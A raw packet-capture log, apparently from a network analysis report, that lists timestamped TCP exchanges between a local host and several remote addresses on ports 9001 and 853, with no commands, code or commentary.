Dec 17, 2024 11:49:35.760215044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.760255098 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.760642052 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.760693073 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.760740042 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.760904074 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.761461020 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.761513948 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.761622906 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.761744976 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.762531996 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.762583971 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.762664080 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.762814045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.763580084 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.763631105 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.763668060 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.763709068 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.764677048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.764722109 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.764796019 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.764834881 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.765722990 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.765784025 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.765846968 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.765901089 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.767388105 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.767421007 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.767441034 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.767462969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.768230915 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.768270969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.768295050 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.768327951 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.769082069 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.769145012 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.769180059 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.770039082 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.770116091 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.770133972 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.770169020 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.771013975 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.771053076 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.771111965 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.771147013 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.772072077 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.772166967 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.772201061 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.773139954 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.773226976 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.773233891 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.773442984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.774193048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.774235964 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.774296045 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.774333000 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.775264025 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.775346994 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.775377035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.775461912 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.776304960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.776357889 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.776421070 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.776582003 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.777394056 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.777436018 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.777493954 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.777532101 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.778445959 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.778525114 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.778548956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.778585911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.779527903 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.779573917 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.779622078 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.780553102 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.780621052 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.780659914 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.780695915 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.781727076 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.781776905 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.781841993 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.781878948 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.782753944 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.782793045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.782874107 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.782908916 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.783812046 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.783869028 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.783907890 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.784857988 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.784904957 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.784990072 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.785208941 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.785902977 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.785949945 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.786036015 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.786124945 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.786964893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.787004948 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.787046909 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.787080050 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.788125038 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.788168907 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.788181067 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.788247108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.789315939 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.789350033 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.789383888 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.789401054 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.790124893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.790182114 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.790214062 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.790250063 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.791163921 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.791204929 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.791260004 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.791295052 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.792279959 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.792381048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.792382002 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.792424917 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.793308020 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.793414116 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.793416977 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.793446064 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.794384956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.794424057 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.794518948 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.794682026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.795466900 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.795547962 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.795593977 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.796493053 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.796533108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.796627998 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.796672106 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.797540903 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.797633886 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.797642946 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.797672033 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.798631907 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.798800945 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.798860073 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.799748898 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.799799919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.799896002 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.799964905 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.800736904 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.800851107 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.800860882 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.800888062 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.801883936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.801990986 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.802048922 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.802048922 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.802836895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.802946091 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.803102016 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.803972960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.804024935 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.804055929 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.804095030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.804996014 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.805036068 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.805098057 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.805136919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.806066990 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.806104898 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.806152105 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.806195021 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.807126045 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.807176113 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.807200909 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.807235956 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.808213949 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.808264017 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.808363914 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.808403969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.809649944 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.809693098 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.809739113 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.809775114 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.810446978 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.810498953 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.810566902 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.847979069 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.849812031 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.849914074 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.854764938 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.854794025 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.855657101 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.855670929 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.858068943 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.871367931 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.871659994 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.874488115 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.874552965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.885555029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.888813019 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.888896942 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.889076948 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.889306068 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.893054008 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.893138885 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.893141031 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.893373966 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.893829107 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.895198107 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.895222902 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.895272970 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.896013021 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.899019957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.907882929 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.918647051 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.920758009 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.964889050 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.964941978 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.964982986 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.965024948 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.965317011 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.965367079 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.965451956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.965492964 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.966330051 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.966383934 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.966396093 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.966430902 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.967394114 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.967451096 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.967679977 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.967724085 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.968501091 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.968719006 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.968755007 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.968794107 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.970303059 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.970356941 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.970355988 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.970390081 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.971009970 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.971065044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.971076012 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.971097946 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.971687078 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.971728086 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.971807003 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.971849918 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.972698927 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.972748995 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.972753048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.972795010 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.973786116 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.973843098 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.973876953 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.973973036 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.974869967 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.974912882 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.975033045 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.975071907 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.975903988 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.976006031 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.976048946 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.976932049 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.976983070 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.977030039 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.977070093 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.978034973 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.978091955 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.978108883 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.978137970 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.979055882 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.979094028 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.979185104 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.979226112 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.980148077 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.980199099 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.980232000 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.980267048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.981220007 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.981271982 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.981308937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.981349945 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.982260942 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.982273102 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.982312918 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.983325958 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.983385086 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.983419895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.983454943 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.984383106 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.984432936 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.984468937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.984504938 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.985460997 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.985532999 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.985570908 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.985713005 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.986566067 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.986620903 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.986634016 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.986673117 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.987657070 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.987730026 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.987751007 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.987782001 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.988631010 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.988672018 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.988711119 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.988816023 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.989767075 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.989836931 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.989906073 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.990056038 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.992767096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.992813110 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.992963076 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.993083000 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.993701935 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.993768930 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.993813038 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.994383097 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.994437933 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.994440079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.994472027 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.995210886 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.995251894 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.995290995 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.995378971 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.995961905 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.995975971 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.996020079 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.996539116 CET	9001	49722	18.18.82.18	192.168.2.5
